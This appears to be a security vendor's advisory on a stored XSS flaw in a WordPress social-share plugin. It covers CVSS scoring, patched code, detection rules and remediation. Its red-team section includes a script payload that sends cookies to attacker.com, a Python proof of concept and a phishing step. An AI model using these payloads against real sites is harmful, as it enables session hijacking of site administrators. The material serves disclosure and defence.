CVE-2024-11189

Executive Summary

CVE-2024-11189 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Share And Social Locker WordPress plugin, affecting versions prior to 1.4.2. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. The injected scripts are stored and executed when other users (including lower-privileged users) view the affected settings page, leading to potential session hijacking, data theft, or further compromise of the WordPress site. The vulnerability is particularly dangerous in multisite configurations where the unfiltered_html capability is disallowed, as it bypasses standard WordPress sanitization.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update (version 1.4.2) by checking the plugin’s checksum or signature if provided by the vendor. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must view the settings page)
• Scope: Changed (Impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but the stored XSS can affect all users viewing the settings, including super admins in multisite.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s settings page where user-supplied input (e.g., social share button labels, locker messages) is not properly sanitized or escaped before being stored in the WordPress database. When an admin saves these settings, the malicious script is stored. Subsequently, when any user (including lower-privileged users) navigates to the plugin’s settings page, the stored script executes in their browser context.

Root Cause: The plugin uses update_option() to store settings without applying sanitize_text_field() or wp_kses() to filter out JavaScript. The output is then rendered using echo or esc_html() incorrectly, allowing script tags to persist.

Attack Flow:

1. Attacker with admin privileges navigates to the plugin settings.
2. Injects a payload like <script>alert('XSS')</script> into a text field (e.g., "Share Button Text").
3. Saves the settings; payload is stored in wp_options.
4. Victim (any user with access to the settings page) loads the page.
5. Payload executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.4.2):

// In settings page rendering
echo '<input type="text" name="social_share_text" value="' . get_option('social_share_text') . '" />';

The value is output directly without escaping.

Patched Code (version 1.4.2):

// In settings page rendering
echo '<input type="text" name="social_share_text" value="' . esc_attr(get_option('social_share_text')) . '" />';

The esc_attr() function escapes the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Admin credentials to the WordPress site.
2. Steps:
   • Log in as admin.
   • Navigate to Settings > Social Share And Social Locker.
   • In the "Share Button Text" field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
   • Save settings.
   • Craft a phishing link to the settings page and send to a target admin.
   • When the target views the page, the script executes and exfiltrates cookies.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target.com/wp-admin/options-general.php?page=social-share-locker"
admin_session = {"wordpress_logged_in": "admin_session_cookie"}

payload = {
    "social_share_text": "<script>alert('XSS')</script>",
    "submit": "Save Changes"
}

response = requests.post(target_url, cookies=admin_session, data=payload)
if response.status_code == 200:
    print("Payload stored successfully")

Blue Team (Detection & Hardening)

• Detection: Monitor for unusual changes to wp_options table entries containing social_share prefix.
• Hardening:
  • Restrict admin access to trusted users only.
  • Implement Web Application Firewall (WAF) rules to block script tags in plugin settings.
  • Use WordPress security plugins that monitor file integrity and option changes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/social-share-and-social-locker/ (check for modified files)
• Database: wp_options table entries with social_share prefix containing <script> tags.
• Network: Outbound connections to unknown domains from admin pages.
• Logs: WordPress debug log entries showing wp_options updates with suspicious values.

Detection Engineering

YARA Rule

rule CVE_2024_11189_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Social Share And Social Locker plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11189"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $option_name = "social_share"
    condition:
        $option_name and $payload
}

Sigma Rule

title: Stored XSS in Social Share And Social Locker Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in WordPress options table
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        ObjectName|contains: "social_share"
        ObjectValue|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11189 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"social_share_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the plugin to version 1.4.2 or later.
2. Workaround: If upgrade is not possible, restrict admin access to trusted users and disable the plugin in multisite environments.
3. Long-term: Implement a WordPress security policy that requires all plugins to use esc_attr(), esc_html(), and wp_kses() for output.
4. Monitoring: Enable WordPress audit logging to track changes to plugin settings.

Valters IT
Securing Digital Frontiers